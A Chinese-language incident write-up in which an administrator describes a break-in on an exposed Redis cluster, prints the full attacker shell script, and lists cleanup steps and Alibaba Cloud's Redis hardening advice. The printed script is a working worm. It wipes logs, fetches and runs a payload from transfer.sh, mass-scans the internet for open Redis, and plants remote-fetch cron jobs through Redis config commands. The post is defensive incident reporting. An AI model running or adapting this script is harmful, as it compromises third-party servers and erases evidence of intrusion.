早上看到阿里云报警,提示”Linux系统计划任务配置文件写入行为“,虽然这个reids集群做在内网,可能因为做了本地端口转发,所以导致了入侵事件。
1.现象
于是上服务器,crontab -l 看到有一个定时任务写在计划任务中
2.分析
将这个脚本下载下来进行分析,
wget
https://transfer.sh/Yfso3/tmp.YmboB7ymVN
脚本内容如下
sleep 1 find . -maxdepth 1 -name ".mxff0" -type f -mmin +60 -delete [ -f .mxff0 ] && exit 0 echo 0 > .mxff0 trap "rm -rf .m* .ran tmp.* .r* .dat $0" EXIT setenforce 0 2>/dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null crontab -r 2>/dev/null rm -rf /var/spool/cron 2>/dev/null grep -q 8.8.8.8 /etc/resolv.conf || echo "nameserver 8.8.8.8" >> /etc/resolv.conf rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null rm -rf /etc/root.sh 2>/dev/null sync && echo 3 > /proc/sys/vm/drop_caches cat <<EOF> /etc/security/limits.conf * hard nofile 100000 * soft nofile 100000 root hard nofile 100000 root soft nofile 100000 * hard nproc 100000 * soft nproc 100000 root hard nproc 100000 root soft nproc 100000 EOF iptables -I INPUT 1 -p tcp --dport 6379 -j DROP iptables -I INPUT 1 -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT ps xf | grep -v grep | grep "redis-server\|nicehash\|linuxs\|linuxl\|crawler.weibo\|243/44444\|cryptonight\|stratum\|gpg-daemon\|jobs.flu.cc\|nmap\|cranberry\|start.sh\|watch.sh\|krun.sh\|killTop.sh\|cpuminer\|/60009\|ssh_deny.sh\|clean.sh\|\./over\|mrx1\|redisscan\|ebscan\|redis-cli\|barad_agent\|\.sr0\|clay\|udevs\|\.sshd\|/tmp/init" | while read pid _; do kill -9 "$pid"; done rm -rf /tmp/* 2>/dev/null rm -rf /var/tmp/* 2>/dev/null echo 0 > /var/spool/mail/root echo 0 > /var/log/wtmp echo 0 > /var/log/secure echo 0 > /root/.bash_history tname=$( mktemp ) OMURL=https://transfer.sh/s8cui/tmp.TKY9CyNHbo curl -s $OMURL > $tname || wget -q -O $tname $OMURL cp $tname .gpg && chmod +x .gpg && ./.gpg rm -rf .gpg YUM_PACKAGE_NAME="iptables gcc redis coreutils bash curl wget" DEB_PACKAGE_NAME="coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl" if cat /etc/*release | grep -i CentOS; then yum clean all yum install -y -q epel-release yum install -y -q $YUM_PACKAGE_NAME elif cat /etc/*release | grep -qi Red; then yum clean all yum install -y -q epel-release yum install -y -q $YUM_PACKAGE_NAME elif cat /etc/*release | grep -qi Fedora; then yum clean all yum install -y -q epel-release yum install -y -q $YUM_PACKAGE_NAME elif cat /etc/*release | grep -qi Ubuntu; then export DEBIAN_FRONTEND=noninteractive rm -rf /var/lib/apt/lists/* apt-get update -q --fix-missing for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done elif cat /etc/*release | grep -qi Debian; then export DEBIAN_FRONTEND=noninteractive rm -rf /var/lib/apt/lists/* apt-get update --fix-missing for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done elif cat /etc/*release | grep -qi Mint; then export DEBIAN_FRONTEND=noninteractive rm -rf /var/lib/apt/lists/* apt-get update --fix-missing for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done elif cat /etc/*release | grep -qi Knoppix; then export DEBIAN_FRONTEND=noninteractive rm -rf /var/lib/apt/lists/* apt-get update --fix-missing for PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done else exit 1 fi sleep 1 if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); then curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > .x112 || wget -q -O .x112 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 sleep 1 [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112 fi NMURL=$( curl -s --upload-file $tname https://transfer.sh ) rm -rf $tname [ -z "$NMURL" ] && NMURL=$OMURL ncmd=$(basename $(mktemp)) sed 's|'"$OMURL"'|'"$NMURL"'|g' < .cmd > $ncmd NSURL=$( curl -s --upload-file $ncmd https://transfer.sh ) echo 'flushall' > .dat echo 'config set dir /var/spool/cron' >> .dat echo 'config set dbfilename root' >> .dat echo 'set Backup1 "\n*/2 * * * * curl -s '${NSURL}' > .cmd && bash .cmd\n"' >> .dat echo 'set Backup2 "\n*/5 * * * * wget -O .cmd '${NSURL}' && bash .cmd\n"' >> .dat echo 'set Backup3 "\n*/10 * * * * lynx -source '${NSURL}' > .cmd && bash .cmd\n"' >> .dat echo 'save' >> .dat echo 'config set dir /var/spool/cron/crontabs' >> .dat echo 'save' >> .dat echo 'exit' >> .dat pnx=pnscan [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan rm -rf .ran 2>/dev/null for x in $( seq 1 224 | sort -R ); do for y in $( seq 0 255 | sort -R ); do printf '%s.%s.0.0/16\n' $x $y >> .ran done done for ran in $( sort -R .ran ); do $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' "$ran" 6379 > .r.o awk '/Linux/ {print $1, $3}' .r.o > .r.l while read -r h p; do cat .dat | redis-cli -h $h -p $p --raw & done < .r.l done echo 0 > /var/spool/mail/root 2>/dev/null echo 0 > /var/log/wtmp 2>/dev/null echo 0 > /var/log/secure 2>/dev/null echo 0 > /root/.bash_history 2>/dev/null exit 0
经过一波实力分析之后,并没有分析出什么结果
像端口开放这些我查看了之后并没有开放,也可能是发现及时,虽然写入了计划任务crontab,但crontab没有第一时间重启,所以这个定时也没有开始跑。(参考网上案例
https://blog.csdn.net/u012573259/article/details/51803447暂且怀疑是肉鸡行为)
它用到yum,yum命令使基于centos操作的,因为我的系统是ubuntu的,所以并没有受到什么影响。所以我从他脚本中看到他又访问github下载文件的动作,于是我尝试下载了他的pnscan-1.12.tar.gz文件,并解压查看看到其压缩文件中包含了一个install-sh。不过这里面写的命令,我再次进行一波强力分析,依然分析不出什么结果。有兴趣的同学可以看看 https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12(
攻击脚本,只可远观,切勿执行)
3. 清理
若不想重装系统,就得清理掉入侵者写入本地的文件,及在本机开启的服务。
1.删掉/var/spool/cron/root、/var/spool/cron/crontabs/root,重启crontab服务;
2.删掉/root/.ssh/目录下的异常文件(可以删除所有文件);
3.因为我们这个redis是在用的,故不作添加访问密码的操作,减少开发同事工作量.
4.我以较低权限账号运行redis集群,且禁用该账号的登录权限。
5.检查/root/.ssh/下是否有非法的
authorized_keys文件,以及一些/etc/init.d/下面非法的开机自启的服务。
下面是阿里云案例
漏洞描述
Redis 服务因配置不当,可被攻击者恶意利用。黑客借助 Redis 内置命令,可将现有数据恶意清空;如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登录服务器。
受影响范围
对公网开放,且未启用认证的 Redis 服务器
修复方案
注意
:以下操作,均需重启 Redis 后才能生效。
- 绑定需要访问数据库的 IP。 将 Redis.conf 中的 bind 127.0.0.1 修改为需要访问此数据库的 IP 地址。
- 设置访问密码。在 Redis.conf 中 requirepass 字段后,设置添加访问密码。
- 修改 Redis 服务运行账号。以较低权限账号运行 Redis 服务,且禁用该账号的登录权限。
以上
在这里感谢Lvnux同学原创的案例,我借鉴的许多排版
https://blog.csdn.net/u012573259/article/details/51803447